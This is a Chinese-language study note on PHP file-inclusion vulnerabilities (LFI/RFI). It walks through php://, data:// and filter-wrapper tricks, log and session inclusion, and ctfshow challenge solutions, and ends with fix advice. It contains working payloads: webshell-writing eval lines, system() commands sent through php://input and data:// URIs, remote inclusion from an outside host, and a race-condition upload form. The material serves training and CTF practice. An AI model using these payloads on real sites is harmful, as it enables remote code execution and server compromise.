第50天:PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

文件包含

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

1
2
3
4
5
6
7
文件包含各个脚本代码
ASP,PHP,JSP,ASPXdeng
<!--#include file="1.asp" -->
<!--#include file="1.aspx"-->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<?php include('test.php'); ?>

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

第50天:WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

第50天:WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒1

漏洞常见功能点

1. 网站导航 / 菜单加载

很多网站会根据用户点击的导航项(如 “首页”“新闻”“关于我们”)动态加载对应模块的文件(如 home.phpnews.php),通常通过 ?page=xxx 之类的参数传递文件名。

  • 示例:index.php?page=news 中,后端可能用 include($_GET['page'] . '.php') 加载文件。
  • 风险:若参数未过滤,攻击者可构造 ?page=../../etc/passwd 读取敏感文件,或包含恶意脚本。

2. 模板渲染 / 主题切换

支持多模板或主题切换的网站,会根据用户选择的主题动态加载对应的模板文件(如 templates/default/header.html)。

  • 示例:?theme=dark 对应加载 templates/dark/style.css,后端可能使用 include("templates/" . $_GET['theme'] . "/style.css")
  • 风险:攻击者可注入路径遍历字符(如 ../),跳转到其他目录包含敏感文件(如数据库配置文件 config.php)。

3. 语言包加载

多语言网站会根据用户选择的语言(如中文、英文)动态加载对应的语言包(如 lang/zh.phplang/en.php)。

  • 示例:?lang=en 对应 include("lang/" . $_GET['lang'] . ".php")
  • 风险:若语言参数可控且未过滤,可能被构造为 ?lang=../config 包含配置文件,或通过远程文件包含(如 ?lang=http://attacker.com/malicious)执行恶意代码。

4. 日志 / 缓存文件处理

部分网站会动态加载日志文件(如访问日志、错误日志)供管理员查看,或加载缓存文件以提高性能。

  • 示例:admin/log.php?file=access.log 中,后端用 include($_GET['file']) 加载日志。
  • 风险:若日志文件路径可控,攻击者可利用路径遍历读取服务器敏感日志,甚至通过写入恶意代码到日志(如 User-Agent 注入 PHP 代码),再包含日志文件执行代码。

5. 文件上传与预览

部分网站在文件上传后,会提供 “预览” 功能,通过动态包含上传的文件(如图片、文档)进行展示。

  • 示例:preview.php?file=upload/123.jpg 中,后端用 include($_GET['file']) 尝试解析文件。
  • 风险:若上传的文件包含 PHP 代码(如伪装成图片的 shell.jpg 内含 <?php eval(...) ?>),且被动态包含,会导致代码执行。

6. 插件 / 模块加载

支持插件扩展的网站(如 CMS 系统、论坛),会根据用户安装的插件动态加载插件文件(如 plugins/payment/alipay.php)。

  • 示例:?plugin=alipay 对应 include("plugins/" . $_GET['plugin'] . ".php")
  • 风险:攻击者可构造参数包含未授权的插件文件,或通过路径遍历跳转到其他目录。

7. 错误页面 / 调试功能

部分网站的错误处理页面会动态加载错误提示文件(如 errors/404.php),或调试模式下允许加载特定调试脚本。

  • 示例:error.php?code=404 对应 include("errors/" . $_GET['code'] . ".php")
  • 风险:若参数未限制,可能被用于包含恶意文件。

文件包含-原理&分类&利用&修复

1
2
3
4
5
6
7
8
9
利用:
有文件利用:上传一个文件,文件利用写着有我们自己创建的恶意代码(这种需要配合上传)
无文件利用:
1、包含日志文件利用
2、包含session文件利用
3、伪协议玩法利用

远程包含:
直接搭建一个可访问的远程URL包含文件

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

Snipaste_2022-05-15_17-18-27

Snipaste_2022-05-15_17-19-57

如果你直接去访问这个231.txt,那么只会是普通文本的效果,但是如果是用php写的代码,代码包含了这个231.txt的文件,那么就会将这个文件里面的内容按照php来执行,如果你的网站是asp,那么就会按照asp来执行

1
2
3
远程包含:就是可以构造一个远程的地址,如果存在远程包含的漏洞的话,就可以包含远程的地址,执行远程地址中的代码
本地包含:顾名思义,原理和远程包含一样,唯一不同的点是如果本地没有你想要的文件,那么这个就没有办法了
所以远程包含的危害是要比本地包含的要大一些的

但是如果想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件

一般情况下,都会有限制,如果想要绕过参考如下:

%00截断:之前的笔记中有,所以这里就不在赘述,这里有一个条件,就是php的版本要小于5.3.4

长度截断:条件:windows,点号需要长于256;linux长于4096(类似于垃圾数据填充)

1
2
3
4
5
6
7
本地包含-无限制,有限制

http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=../../../www.txt
00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
http://127.0.0.1:8080/include.php?filename=../../../www.txt%00
长度截断:条件:windows,点号需要长于256;linux长于4096

远程包含:也是分为有限制和无限制,在PHP中有这样的一个开关:allow_url_include这个开关就是管理着远程包含的开关

伪协议

测试源码:

1
2
3
4
5
<?php
include($_GET['file']);

file_put_contents($_GET['file'],$_POST['content']);
?>

文件读取:

1
2
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php

image-20250813104745405

D盘符下面有一个txt文件,文件里面是php的代码,当被包含的时候,就会将里面的有关于php的代码按照当前脚本环境进行执行。

php这种方式可以通过相对路径进行访问:

image-20250813105038760

image-20250813105054552

文件写入:

1
2
3
php://filter/write=convert.base64-encode/resource=phpinfo.php  POST:content=base64的数据
上面这种需要在代码中有类似file_put_contents($_GET['file'],$_POST['content'])写法
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

image-20250813110120643

往一个文件里面写入一个123的内容

代码执行:

image-20250813110457076

这里没有复现成功使用ctfshow的关卡来演示:

image-20250813110656180

代码执行:

1
2
3
4
php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

image-20250813111104241

data协议没有成功。这里严重怀疑是我的某个开关没有打开。

image-20250813111548861

破案了,需要开启:allow_url_include,我php5.3都是默认关闭的,也就是默认:

1
2
php://input
data://

这两种协议都不行

黑盒利用—vulweb—有无包含文件

1
http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160

image-20250813112620991

白盒利用—CTFSHOW—伪协议玩法

1
2
https://blog.csdn.net/wushangyu32335/article/details/136560451
https://www.tiaobudong.top/2024/01/12/tutorial-15/ #常见的伪协议

下面的都是在 ctfshow 进行文件上传的演示,确实是买不起,所以就没复现,只学习了知识点。

78-php&http 协议

1
2
3
4
5
6
7
8
9
10
11
12
13
获取参数:$_GET['file']
过滤:无
包含语句:include($file)
绕过思路:
# 1.可以直接盲猜flag.php进行读取
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
# 2.也可以先获取一下文件列表,在进行读取
php://input POST:<?php system('ls');?> # 发现有flag.php在进行读取
# 3.远程包含webshell,使用工具进行连接后查找flag.php
?file=http://www.xiaodi8.com/1.txt
1.txt:<?php $_POST['pass'];?>

79-data&http 协议

1
2
3
4
5
6
7
获取参数:$_GET['file']
过滤:替换file中的php为???
包含语句:include($file)
绕过思路:使用data或http协议等
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

80 81 - 日志包含

1
2
3
4
5
6
7
8
9
10
11
12
获取参数:$_GET['file']
过滤:替换file中的php为???
替换file中的data为???
包含语句:include($file)
绕过思路:包含:/var/log/nginx/access.log
# 利用包含日志文件,发现记录UA到日志中,将代码写入UA中进行包含执行
# 利用其他协议,如file(需要知道完整路径),zlib等
# 利用日志记录UA特性包含执行
# 分析需文件名及带有php关键字放弃
# 故利用日志记录UA信息,UA带入代码
先在UA中写入<?php system('ls');?>,包含/var/log/nginx/access.log查看结果,发现有fl0g.php
然后在UA中写入<?php system('cat fl0g.php);?>,即可查看到fl0g

82-86-SESSION 包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
获取参数:$_GET['file']
过滤:替换file中的php为???
替换file中的data为???
替换file中的:为???
替换file中的.为???
包含语句:include($file)
绕过思路:
# 利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
# 自定义session名字,条件竞争访问session文件,触发创建新文件


当启用了 PHP 的文件上传进度跟踪功能(通过 session.upload_progress.enabled = On 开启)时,PHP 会将上传进度信息(如已上传字节数、总大小等)存储在会话(session)中。
session.upload_progress.cleanup 决定了上传完成后,这些临时存储的进度信息是否自动清理。
默认值为 On(开启):上传完成后,PHP 会自动删除会话中存储的进度信息,避免会话数据冗余。
若设为 Off(关闭):上传完成后,进度信息会保留在会话中,需要手动清理(否则会一直占用会话存储空间)。

用来生成 session 的页面

session 包含 :https://www.cnblogs.com/lnterpreter/p/14086164.html
Ctfshow Web 入门 - 文件包含总结 :https://www.cnblogs.com/echoDetected/p/13976405.html

详细解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<body>
<form action="https://dbfe0749-cf1d-4eaa-b41d-65166e63492d.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

<?php
session_start();
?>

首先创建一个html页面,第一次先发送对可控的session文件的请求。

image-20250817210301737

这样session的文件名可控。然后通过phpinfo等界面得到session的绝对路径:

image-20250817210343334

得到之后,在通过不断发送包含这个文件的数据包:

image-20250817210521497

然后就这样一起发包进行条件竞争。这个访问session文件的数据包可以放快点。

87-php://filter/write & 加密编码

1
2
3
4
5
6
获取参数:$_GET['file'] $_POST['content']
过滤:替换file中的php为???
替换file中的data为???
替换file中的:为???
替换file中的.为???
包含语句:file_put_contents(urldecode($file),"<?php die('大佬别秀了');?>".$content)

绕过思路:

  1. 利用 base64:

    1
    2
    3
    4
    5
    #payload:
    url编码2次:php://filter/write=convert.base64-decode/resource=123.php

    POST提交的内容: content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
    这里的aa是占位符

    image-20250817204104171

    image-20250817203947728

  2. 利用凯撒 13:

    1
    2
    url编码2次:php://filter/write=string.rot13/resource=2.php
    content=<?cuc riny($_CBFG[1]);?>

88-data&base64 协议

1
2
3
4
5
6
获取参数:$_GET['file']
过滤:过滤file中的php(不区分大小写),和各种符号,有则直接die("error")
包含语句:include("$file")
绕过思路:
# php代码编码构造写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

image-20250817204027132

117-php://filter/write & 新的算法

convert.iconv.:一种过滤器,和使用 iconv () 函数处理流数据有等同作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
获取参数:$_GET['file'] $_POST['content']
过滤:过滤除php外各种伪协议,有则直接die()
包含语句:include("$file")
绕过思路:
# 使用新的算法
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
# 写入文件
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
# 访问写入的a.php,实现代码执行获取flag

文件包含—修复

1
2
3
1、严格检测变量是否已经初始化
2、对所有输入提交可能包含的文件地址。包括服务器本地文件及远程文件。进行严格的检查,参数总不允许出现./和../等目录跳转符
3、严格检测文件包含中的参数是否外界可控